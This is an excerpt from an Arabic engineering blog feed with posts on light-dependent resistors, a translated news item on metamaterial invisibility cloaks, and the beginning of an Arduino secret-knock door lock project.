<p>قال <strong>أسلم</strong>: خرجنا مع <strong>عمر بن الخطاب</strong> إلى <strong>حرة</strong> <strong>واقم</strong> (وهي الحرة الشرقية للمدينة المنورة) حتى إذا كنا بسرار مرتفع من الأرض  إذا    نار، فقال: يا أسلم إني لأرى ها هنا ركب قصر بهم الليل والبرد،  انطلق بنا. فخرجنا    نهرول حتى دنونا منهم، فإذا بامرأة معها صبيان صغار  وقدر منصوبة على نار، وصبيانها    يتضاغون (يصيحون ويبكون) فقال عمر:  السلام عليكم يا أصحاب الضوء (وكره أن يقول يا    أصحاب النار) وعمر ينظر  إلى القدر،    فقالت المرأة: وعليك السلام. فقال أدنو..؟ فقالت: أدن بخير  أو دع، فدنى فقال: ماذا بكم؟ قالت:    قصر بنا الليل والبرد، قال: فما  لهؤلاء الصبية يتضاغون؟ قالت: الجوع، قال: فأي شيء في    هذه القدر؟ قالت:  ماء أسكتهم به حتى يناموا، والله بيننا وبين عمر!!</p>
<p>فقال:  أي رحمك الله، وما يدري عمر بكم ؟ قالت المرأة: نحن في الصحراء وحدنا لا  نجد طعاما ويتولى عمر أمرنا ثم    يغفل عنا !  قال أسلم: فأقبل عليّ فقال  انطلق بنا فخرجنا نهرول حتى أتينا دار الدقيق(دار    اتخذها عمر خاصة  لتخزين الدقيق) فأخرج عدلا من دقيق وكبة من شحم، فقال: احمله عليّ،     فقلت: أنا أحمله عنك! قال: أنت تحمل عني وزري يوم القيامة؟ لا أم لك!   فحملته عليه  فانطلق وانطلقت    معه إليها نهرول فألقى ذلك عندها وأخرج من  الدقيق شيئا فجعل يقول للمرأة: دري    عليّ وأنا أحرك لك، وجعل ينفخ تحت  القدر حتى يشتعل، ثم أنزلها فقال: أبغينى شيئا أسكب فيه، فأتته بصحفة     فأفرغها فيه، ثم جعل يقول لها: أطعميهم وأنا أصفح لهم، فلم يزل حتى شبعوا،  وترك عندها    فضل ذلك بقية الكيس وقام وقمت معه، فجعلت تقول: جزاك الله  خيرا كنت أولى بهذا الأمر    من أمير المؤمنين! أنت أولى بالخلافة من أمير  المؤمنين، فيقول: قولي خيرا إذا جئت    أمير المؤمنين وحدثيني هناك إن شاء  الله ثم تنحى ناحية عنها فابتعد ثم استقبلها    ينظر إلى مكانها من بعيد  فضرب ضربة فقلنا له إن لنا شأنا غير هذا ولا يكلمنى حتى رأى الصبية يصطرعون  ثم ناموا وهدئوا    فقال يا أسلم إن الجوع أسهرهم وأبكاهم فأحببت أن لا  أنصرف حتى أرى ما أحب( تاريخ الطبري الجزء 5)..بتصرف</p>
<p><strong><span style="color: #0000ff">ماعلاقة هذا بالإلكترونيات يا وسيم؟ ألست ستتحدث عن المقاومات الضوئية؟</span></strong></p>
<p>بلى..لكن ما شدني هو حساسية عين الفاروق عمر بن الخطاب -رضي الله عنه-  لشدة الضوء، التي دفعته ليغير الواقع..وهذا ماتقوم به فعلا المقاومة  الضوئية.</p>
<p>فهل سبق وأن لاحظتم أن أنوار الشوارع في المدن الكبيرة تضاء تلقائيا عند  حلول الظلام؟ وهل ركبتم سيارة حديثة وانتبهتم إلى أنه عند دخول نفق مظلم  تضاء أنوار السيارة آليا؟ كيف يتم ذلك؟ وماهي الدارة التي تقف خلف ذلك  التطبيق الشائع؟</p>
<p>لازلنا في معرض الحديث عن العناصر الإلكترونية، ونناقش في تدوينة اليوم عنصرا لطالما عشقه هواة الإلكترونيات <img src='http://www.handsah.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   إنه <strong>المقاومة الضوئية</strong>.</p>
<p>يطلق عليها أحيانا المقاومة الضوئية، وأحيانا  أخرى الخلية الضوئية، وفي  لغة مصممي الإلكترونيات نسميها : LDR Light Dependent Resistor وكلها  تسميات لنفس العنصر الإلكتروني: المقاومة الضوئية، فهي مقاومة تتغير قيمتها  &#8220;الأوم&#8221; حسب شدة الضوء الساقط عليها. لماذا؟</p>
<p>السر وراء ذلك يقف وراء وجود مادة شبه موصلة تتأثر مقاومتها للتيار فور  سقوط الضوء عليها. فهي تصنع من مادة كبريتيد الكادميوم، على شكل نبيطة  إلكترونية بحيث يتم وضع طبقة منها فوق طبقة سيراميك كما هو واضح في الصورة  أدناه:</p>
<p><strong><a href="http://muslimlead.com/wp-content/uploads/2010/12/cds.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/cds.jpg" alt="" width="417" height="460" /></a></strong><strong> </strong></p>
<p><span style="color: #0000ff"><strong>ما هو الرمز المستخدم للمقاومة الضوئية في الدارات الإلكترونية؟</strong></span></p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/ldr.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/ldr.jpg" alt="" width="75" height="55" /></a></p>
<p>فالمقاومة الضوئية ماهي إلا أحدى أنواع المقاومات، فهي عنصر إلكتروني  تتأثر مقاومته حسب كمية الضوء التي يتعرض لها. لذلك يمكننا اعتبارها في أي  دارة بمثابة المقاومة العادية التي تحمل قيمة متغيرة تعتمد على حسب شدة  الضوء. مايعني أنه يمكننا استبدال أي مقاومة موجودة في دارة إلكترونية  بسيطة بمقاومة ضوئية ورؤية تأثيرها باستخدام الضوء. وتتميز بمايلي:</p>
<p>1. توفرها بأحجام وأشكال مختلفة</p>
<p>2.  رخيصة الثمن وقد تصل لـ ريال واحد!</p>
<p>3. مقاومتها تتناسب عكسيا مع شدة الضوء حيث إنها تبدأ من 10 كيلو أوم  تقريبا عند الضوء الساطع وتتغير حتى تصل إلى حوالي الـ10ميجا أوم في الظلام  الدامس</p>
<p>4. حساسيتها للضوء تبدأ من الطول الموجي 400 نانومتر &#8220;اللون البنفسجي&#8221; وحتى 600 نانومتر &#8220;اللون البرتقالي&#8221;</p>
<p>5. تتحمل فرق جهد قد يصل إلى 100 فولت أو أكثر</p>
<p>وكما تعلمنا سابقا، فليس هناك شيء كامل في الحياة، فكما أن لكل عنصر  إلكتروني إيجابيات فله أيضا سلبيات ونقاط ضعف، يمكن اختصارها بمايلي:</p>
<p>1. تختلف قيمة مقاومتها من قطعة لأخرى فهي ليست دقيقة حتى وإن كانت  منتجة من نفس الشركة المصنعة وتحمل نفس الرقم! فنسبة الخطأ فيها عالية جدا  وقد تصل إلى 50%!! مما يعني أنه لا يمكن الاعتماد عليها فعليا في قياس شدة  الإضاءة بشكل دقيق بل فقط تنحصر تطبيقاتها في التأكد من وجود الضوء من  عدمه.</p>
<p>2. ليس لها القدرة على تحسس كافة الأطوال الموجية، ما يعني أنه لايمكننا تحسس وجود ضوء ذي طول موجي قيمته أكثر من 600 نانومتر</p>
<p><span style="color: #0000ff"><strong>كيف يمكن اختبار المقاومة الضوئية ومعرفة أنها تعمل بشكل صحيح؟</strong></span></p>
<p>أحضروا الملتيميتر &#8220;جهاز القياس&#8221; وقوموا باختيار مقياس <strong>المقاومة</strong> ومن ثم أوصلوا طرفي الملتيميتر بالمقاومة الضوئية كما هو واضح في الشكل التالي:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/cdslitmm.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/cdslitmm.jpg" alt="" width="480" height="360" /></a></p>
<p>لاحظوا تغير قيمة المقاومة بعد تغطيتها بقطعة قماش سوداء: ستجدون أن القيمة ستتغير بشكل كبير من الكيلو أوم وحتى الميجا أوم.</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/cdscovered.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/12/cdscovered.jpg" alt="" width="480" height="360" /></a></p>
<p><span style="color: #0000ff"><strong>هل  يمكن أن تعمل المقاومة الضوئية مباشرة مع الجهد المتناوب المنزلي كـ 220  فولت مثلا؟  أم أنها مخصصة فقط للتعامل مع الجهد المستمر؟ وهل هناك دارة  يمكنني اعتمادها لهذا التطبيق؟</strong></span></p>
<p>كما عرفنا فإن المقاومة الضوئية هي مقاومة عادية فبالتالي يمكننا  استخدامها في التعامل مع الجهود المستمرة أو المترددة بشرط أن يتم التأكد  من ملف المواصفات الفنية الخاص بالمقاومة الضوئية الذي سيوضح أقصى قيمة جهد  يمكن أن يطبق على طرفي المقاومة. وبشكل عام، فإن المصمم المحترف للدارات  دائما مايحاول أن يعزل دارته الإلكترونية عن الجهود المتناوبة أو العالية  وذلك من خلال عناصر كالعوازل الضوئية أو<a href="http://muslimlead.com/?p=2121" target="_blank"> المرحل </a>&#8220;الريلاي&#8221;   بحيث يتم تحسس الضوء واتخاذ القرار إلكترونيا ضمن الجهود المنخفضة كجهد  بطارية 9 فولت مثلا، ويتم وضع الحمل على الريلاي ليكون معزولا تماما عن  الدارة الرئيسية. فإذا أردنا التحكم في إضاءة المنزل مثلا أو تشغيل أي جهاز  كهربائي بتحسس الضوء المحيط،  كفتح الستائر عند شروق الشمس أو إضاءة  المصابيح عند حلول الظلام. يمكننا استخدام هذه الدارة التي ستعمل على تشغيل  المرحل &#8220;الريلاي&#8221; عند سقوط ضوء على المقاومة الضوئية. فهذه الدارة حساسة  للضوء، وإذا أردنا تشغيلها كحساس للظلام فما عليكم إلا تغيير موقع المقاومة  الضوئية بحيث تكون بين القاعدة والأرضي.</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/ldrfm1.gif"><img src="http://muslimlead.com/wp-content/uploads/2010/12/ldrfm1.gif" alt="" width="585" height="273" /></a></p>
<p>أو استخدام هذه الدارة كحساس للظلام :</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/12/givvvii0.gif"><img src="http://muslimlead.com/wp-content/uploads/2010/12/givvvii0.gif" alt="" width="500" height="375" /></a></p>
<p><span style="color: #0000ff"><strong>هل هناك رقم معين لمقاومة ضوئية شهيرة كي نتمكن من شرائها؟</strong></span></p>
<p>نعم يمكنك استخدام رقم PDV-P9004 وللحصول على ملف المواصفات الفنية الخاص بها اضغطوا <a href="http://www.advancedphotonix.com/ap_products/pdfs/PDV-P9004.pdf" target="_blank">هنا</a>. ولشرائها يمكنكم التوجه لموقع <a href="http://www.digikey.com/" target="_blank">ديجي كي</a> مباشرة وإدخال ذلك الرقم.</p>
<p><strong>حسنا وسيم، بما أنك تحدثت كثيرا عن <a href="http://muslimlead.com/?p=2262" target="_blank">عالم الأردوينو</a>، فهل لديك مشروع يعتمد على المقاومة الضوئية  باستخدام الأردوينو؟</strong></p>
<p>بكل تأكيد، تفضلوا تصميما بسيطا للمصممة ليمور بالإَضافة لشفرة البرنامج من <a href="http://www.ladyada.net/learn/sensors/cds.html" target="_blank">هنا</a>.</p>
<p>وختاما استمتعوا بمشاهدة هذا الفيديو:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/e/DSvqmOO2EFI"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/e/DSvqmOO2EFI" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>وتذكروا دائما..أن تاريخنا مليء بصور مشرقة كصورة الفاروق عمر في حرصه  على رعيته ..فأسأل الله أن يجعلنا  نهتم بأمور فقرائنا مثل عمر رضي الله  عنه</p>
<p><strong>بعض المصادر :</strong></p>
<p>1. <a href="http://muslimlead.com/wp-content/uploads/2010/12/APP_PhotocellIntroduction.pdf">تطبيقات المقاومات الضوئية</a></p>
<p>2. <a href="http://www.ladyada.net/learn/sensors/cds.html" target="_blank">المصممة ليمور</a></p>
<p>3. <a href="http://www.qariya.com/vb/showthread.php?t=5189" target="_blank">منتدى القرية الإلكترونية</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3212&amp;linkname=%D9%8A%D8%A7%20%D8%A3%D8%B5%D8%AD%D8%A7%D8%A8%20%D8%A7%D9%84%D8%B6%D9%88%D8%A1%26%238230%3B%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9%20%D8%A7%D9%84%D8%B6%D9%88%D8%A6%D9%8A%D8%A9" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3212&amp;linkname=%D9%8A%D8%A7%20%D8%A3%D8%B5%D8%AD%D8%A7%D8%A8%20%D8%A7%D9%84%D8%B6%D9%88%D8%A1%26%238230%3B%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9%20%D8%A7%D9%84%D8%B6%D9%88%D8%A6%D9%8A%D8%A9" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3212&amp;linkname=%D9%8A%D8%A7%20%D8%A3%D8%B5%D8%AD%D8%A7%D8%A8%20%D8%A7%D9%84%D8%B6%D9%88%D8%A1%26%238230%3B%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9%20%D8%A7%D9%84%D8%B6%D9%88%D8%A6%D9%8A%D8%A9" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3212&amp;linkname=%D9%8A%D8%A7%20%D8%A3%D8%B5%D8%AD%D8%A7%D8%A8%20%D8%A7%D9%84%D8%B6%D9%88%D8%A1%26%238230%3B%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9%20%D8%A7%D9%84%D8%B6%D9%88%D8%A6%D9%8A%D8%A9" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3212&amp;linkname=%D9%8A%D8%A7%20%D8%A3%D8%B5%D8%AD%D8%A7%D8%A8%20%D8%A7%D9%84%D8%B6%D9%88%D8%A1%26%238230%3B%D8%A7%D9%84%D9%85%D9%82%D8%A7%D9%88%D9%85%D8%A9%20%D8%A7%D9%84%D8%B6%D9%88%D8%A6%D9%8A%D8%A9" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3212/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>مادة غير مرئية قد تخدع عيناك</title>
		<link>http://www.handsah.net/archives/3175</link>
		<comments>http://www.handsah.net/archives/3175#comments</comments>
		<pubDate>Mon, 29 Nov 2010 23:58:06 +0000</pubDate>
		<dc:creator>تسنيم تاية</dc:creator>
				<category><![CDATA[منوعات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3175</guid>
		<description><![CDATA[لا تبدأ بانتقاء نمط الرداء الخاص يك، فاحتمالات الرداء الخَفِيّ أصبحت أكثر .. في حديث [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #993300;">لا تبدأ بانتقاء نمط الرداء الخاص يك، فاحتمالات الرداء الخَفِيّ أصبحت أكثر ..</span></p>
<p><span style="color: #800000;"><a href="http://www.handsah.net/handasa/wp-content/uploads/2010/11/invisible1.jpg"><img class="aligncenter size-medium wp-image-3173" src="http://www.handsah.net/handasa/wp-content/uploads/2010/11/invisible1-300x239.jpg" alt="" width="300" height="239" /></a></span></p>
<p style="text-align: center;"><span style="text-decoration: underline;">في حديث دار بين الصحفيين التقنيين والعسكريين عن الحالِمين برداء خفيّ من واقع الحياة لوهلة، و لأسباب وجيهه &#8211; مع الخبرة اللازمة والهيكل المخصص ، بمُسمى</span></p>
<p style="text-align: center;"><span style="color: #0000ff;"><span style="text-decoration: underline;"><span style="color: #0000ff;">&#8220;metamaterials”</span></span></span></p>
<p style="text-align: center;"><span style="text-decoration: underline;"><span style="color: #008080;">بالإمكان تسليط الضوء على الأشياء، مما يجعلها تختفي</span></span></p>
<p style="text-align: center;">أنت حتماً لم تشاهد Harry Potter أو Frodo Baggins يتمرّنون في Fort Bragg</p>
<p style="text-align: center;">لأنّ الخدعة لا تعمل مع الضوء المرئيّ؛ يتعلق الامر بما وراء تشويه الاشياء، قاصدين الاضاءة بأشعة تحت الحمراء أو امواج تيراهيرتز</p>
<p style="text-align: center;">مما يعني، بكلمات أخرى، أن الرؤية لا تزال ممكنة لأغراض مرئيّة بإستخدامنا عينينا الاثنتين.</p>
<p style="text-align: center;">
<object width="425" height="344">
<param name="allowfullscreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="movie" value="http://www.youtube.com/v/gADwKrAgTRY&autoplay=0&loop=0&rel=0" />
<param name="wmode" value="transparent">
<embed src="http://www.youtube.com/v/gADwKrAgTRY&autoplay=0&loop=0&rel=0" type="application/x-shockwave-flash" wmode="transparent" allowfullscreen="true" allowscriptaccess="always" width="425" height="344">
</embed>
</object>

</p>
<p style="text-align: center;">او على الاقل، استعمال كهذا ليولّد مثل هذه القضية. فيزيائيون من University of St. Andrews</p>
<p style="text-align: center;">التي تعمل بالفعل ضمن مجال المدى البصريّ &#8211; بحسب ما أشار العلماء في مجلة الفيزياء الدوريّة</p>
<p style="text-align: center;">قد حققوا اختراقاً، لقد نجحوا بدمج مواد metamaterial</p>
<p style="text-align: center;">مجموعة المواد المدمجة التي توصلوا اليها بإمكانها ان تصل الى خاصيّة الضوء المرئيّ،، قد صنعوها بطريقة تؤدي الى تصنيع واسع نطاق التطبيقات في العالم الحقيقي.</p>
<p style="text-align: center;"><span style="color: #008000;"><strong><span style="color: #008000;"><span style="text-decoration: underline;">ليس مجرد رداء</span></span></strong></span><strong><span style="color: #008000;"><span style="text-decoration: underline;">!</span></span></strong></p>
<p style="text-align: center;">العدسات أيضا مُصنّعة من مواد والتي بإمكانها ان تصل الى تكبير حتى مستوى الميكرون مما يجعل الأمر ممكناً أيضا للجراثيم، مواد كيميائية وحتى الحامض النووى وذلك بالأساس باستخدام منظار –</p>
<p style="text-align: center;">و الذي يميّزه معتمدا على رؤية  Binocular.</p>
<p style="text-align: center;">من الواضح جدا انها ليست رداءات غير مرئية (حتى الان) لكنها الخطوات الصحيحة نحو تلك الغاية، هناك خطىً عظيمة للأمام بطُرق متعدده.</p>
<p style="text-align: center;">عمليا، يتم دمج المواد على ركائز مماثلة بخصائصها وصفاتها للسيليكون لكن ذلك يقيّد حجمها والموجات التي تعمل فيها؛ فبدلا من ذلك قامت مجموعة من الخبراء بصنع مادة مستخرجة من طبقة رقيقة خاصة ببوليمير يتميز بمرونه فائقة ويعود ذلك أساسا إلى ان الرداء الحقيقيّ المنشود يجب ان يتمتع بخاصيّة تمكّن صاحبه من تغيير شكله وأن تتوفر به خاصية الامتداد بمساحة واسعة .</p>
<p style="text-align: left;">source: Wired.Com</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3175&amp;linkname=%D9%85%D8%A7%D8%AF%D8%A9%20%D8%BA%D9%8A%D8%B1%20%D9%85%D8%B1%D8%A6%D9%8A%D8%A9%20%D9%82%D8%AF%20%D8%AA%D8%AE%D8%AF%D8%B9%20%D8%B9%D9%8A%D9%86%D8%A7%D9%83" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3175&amp;linkname=%D9%85%D8%A7%D8%AF%D8%A9%20%D8%BA%D9%8A%D8%B1%20%D9%85%D8%B1%D8%A6%D9%8A%D8%A9%20%D9%82%D8%AF%20%D8%AA%D8%AE%D8%AF%D8%B9%20%D8%B9%D9%8A%D9%86%D8%A7%D9%83" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3175&amp;linkname=%D9%85%D8%A7%D8%AF%D8%A9%20%D8%BA%D9%8A%D8%B1%20%D9%85%D8%B1%D8%A6%D9%8A%D8%A9%20%D9%82%D8%AF%20%D8%AA%D8%AE%D8%AF%D8%B9%20%D8%B9%D9%8A%D9%86%D8%A7%D9%83" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3175&amp;linkname=%D9%85%D8%A7%D8%AF%D8%A9%20%D8%BA%D9%8A%D8%B1%20%D9%85%D8%B1%D8%A6%D9%8A%D8%A9%20%D9%82%D8%AF%20%D8%AA%D8%AE%D8%AF%D8%B9%20%D8%B9%D9%8A%D9%86%D8%A7%D9%83" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3175&amp;linkname=%D9%85%D8%A7%D8%AF%D8%A9%20%D8%BA%D9%8A%D8%B1%20%D9%85%D8%B1%D8%A6%D9%8A%D8%A9%20%D9%82%D8%AF%20%D8%AA%D8%AE%D8%AF%D8%B9%20%D8%B9%D9%8A%D9%86%D8%A7%D9%83" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3175/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>مشروع الأسبوع: ليلى والذئب..وقفل الأردوينو</title>
		<link>http://www.handsah.net/archives/3162</link>
		<comments>http://www.handsah.net/archives/3162#comments</comments>
		<pubDate>Sun, 28 Nov 2010 18:07:42 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[فيديو]]></category>
		<category><![CDATA[كهرباء]]></category>
		<category><![CDATA[مشروع نهاية الأسبوع]]></category>
		<category><![CDATA[أردوينو]]></category>
		<category><![CDATA[المتحكمات الدقيقة]]></category>
		<category><![CDATA[مشروع الأسبوع]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3162</guid>
		<description><![CDATA[من منا لم يسمع بقصة ليلى وجدتها العجوز؟ توجهت الجدة العزيزة للسوق لشراء بعض الحاجيات [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-3180" href="http://www.handsah.net/archives/3162/laila"><img class="aligncenter size-full wp-image-3180" title="laila" src="http://www.handsah.net/wp-content/uploads/2010/11/laila.jpeg" alt="" width="350" height="300" /></a></p>
<p>من منا لم يسمع بقصة ليلى وجدتها العجوز؟</p>
<p>توجهت الجدة العزيزة للسوق لشراء بعض الحاجيات وتركت ليلى وحيدة في  المنزل ريثما تعود، ولكن قبل أن تغادر الجدة، همست في أذن ليلى قائلة: حذار  يا ليلى من ذئب القرية! فإنه يحب افتراس أي طفل!! فانتبهي أن تفتحي له  الباب، وتذكري أنه عند عودتي فسأطرق الباب ثلاث مرات، فهي كلمة السر بيننا  كي تتأكدي أنه أنا جدتك..اتفقنا؟</p>
<p>هزت ليلى ببراءة رأسها وقالت حسنا جدتي..سمعا وطاعة وابتسمت ابتسامتها  المعهودة مخبئة ورائها سرا كبيرا..كيف لا؟ فهاهي تخرج قفل الأردوينو الخاص  بها  وتضعه على قفل الباب..</p>
<p>توجهت الجدة للسوق وأغلقت الباب. وماهي إلا ساعة واحدة، حتى حضر الذئب  كي يفترس ليلى، توجه مسرعا للباب وبدأ بطرقه، لكنه لم يكن يعرف عدد الطرقات  التي اتفقت الجدة وليلى عليه</p>
<p><img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" />الذئب: إنه أنا جدتك ..افتحي الباب ياليلى</p>
<p>ركضت ليلى مسرعة للباب..وبدأت تضحك..بشكل هستيري، وبدأت تخاطب الذئب من  خلف الباب: أيها الأحمق..هل لازلت تحسبني ليلى التي في النسخة الأولى من  القصة والتي تمكنت من السخرية بها..سحقا لك..</p>
<p>لدي قفل أردوينو..ولن تتمكن من الدخول أيها الأحمق حتى تلج في سم الخياط..</p>
<p>جن جنون الذئب&#8230;عن ماذا تتحدث ليلى؟</p>
<p><span style="color: #0000ff;"><strong>قفل أردوينو!! هل جنت ليلى؟ ماهي قصة هذا القفل الأردوينوي؟</strong></span></p>
<p>تحدثت في آخر <a href="http://muslimlead.com/?p=2262" target="_blank">تدوينة </a>عن  عالم الأرودينو الممتع والذي تعرفنا من خلاله على آخر صرعات  Microcontroller واليوم سنطبق إحدى الأفكار الممتعة باستخدام الأردوينو في  مشروعنا لهذا الأسبوع.</p>
<p><span style="color: #0000ff;"><strong>الفكرة</strong></span>:  تصميم جهاز قادر على فتح الباب آليا عند سماعه لعدد معين من الطرقات يمكن  برمجتها داخل المتحكم بحيث تكون بمثابة كلمة السر لفتح الباب.</p>
<p><span style="color: #0000ff;"><strong>على ماذا يعتمد المشروع؟ وما هي الأدوات المستخدمة؟</strong></span></p>
<p>يعتمد على لوحة الأردوينو وبعض من القطع الأخرى المتصلة به خارجيا كحساس  للصوت ودارة أخرى وكافة تفاصيل المشروع يمكنكم تحميلها من <a href="http://muslimlead.com/wp-content/uploads/2010/11/Secret-Knock-Detecting-Door-Lock.pdf">مفتاح الباب السري</a>:</p>
<p>فلنشاهد الفيديو:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/e/zE5PGeh2K9k"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/e/zE5PGeh2K9k" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="color: #0000ff;"><strong>الأدوات المستخدمة</strong></span></p>
<p>الحقيقة هي متنوعة فمنها الميكانيكي ومنها الكهربائي ومنها الإلكتروني:</p>
<p>1. محرك يحتوي على تروس ويعمل بجهد 5 فولت</p>
<p>2. مقاومات بقيمة: 560 اوم -2.2 كيلو أوم- 10كيلو أوم &#8211; 1ميجا أوم</p>
<p>3. ثنائيات مشعة للضوء ذات لون أحمر وأخضر</p>
<p>4. مفتاح &#8220;زر&#8221; ضغاط من نوع أحادي القطبية</p>
<p>5. حساس من نوع Piezo</p>
<p>6. بطارية من نوع 9 فولت مع المشبك الخاص بها</p>
<p>7. ترانزستور نوع 2N 2222</p>
<p>8. دايود من نوع 1N 4001</p>
<p>9. لوحة أردوينو</p>
<p><span style="color: #0000ff;"><strong>ماهي الدارة وتفاصيلها؟</strong></span></p>
<p><strong><br />
</strong></p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/11/door.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/11/door.jpg" alt="" width="482" height="421" /></a></p>
<p><span style="color: #0000ff;"><strong>تنبيه</strong></span></p>
<p>بعد مراجعتي  للدارة الموجودة أعلاه اكتشفت أن المصمم ارتكب خطأ مطبعيا وهو أنه قام  بعكس وضعية الترانزستور، فكان المفترض أن يتم وضع الباعث متصلا مع الأرضي  والمجمع مع طرف المحرك وهي الوضعية الصحيحة.</p>
<p><span style="color: #0000ff;"><strong>وما هو مبدأ عمل الدارة؟</strong></span></p>
<p>تحتوي الدارة على حساس من نوع خاص يسمى<a href="http://en.wikipedia.org/wiki/Piezoelectric_sensor" target="_blank"> حساس كهروضغطي</a>،  وهو نوع معين من الحساسات يولد موجات كهربائية في حال تعرضه لضغط معين مثل  أن نقوم بضغط طرفيه باليد أوالتصفيق بالقرب منه. بالاستفادة من هذه  الخاصية، يمكننا أن نستخدم هذا الحساس للتأكد من وجود طرقات أو ضربات معينة  تم طرقها على الباب وذلك بتثبيته على الباب، ومن ثم نقوم بإرسال الموجات  المتولدة من الحساس للمعالج الصغري الذي سيقوم بدوره بمعالجة الإشارة  الواردة وتحليل عدد الضربات ومن ثم يقرر أن يفتح مخرجا معينا من أحد مخارج  المعالج أم لا. وبالاستفادة من ذلك المخرج يمكننا ربطه بدارة بسيطة هي دارة  ترانزستور تعمل كمكبر، ليقوم بتشغيل محرك صغير متصل بقفل الباب ليفتح أو  يغلق الباب. والجميل في هذه الدارة أنه يمكن برمجتها بشكل بسيط وإعادة  تغيير عدد الضربات اللازمة لفتح الباب.</p>
<p><span style="color: #0000ff;"><strong>أين  هي شيفرة البرنامج وسيم؟ </strong></span></p>
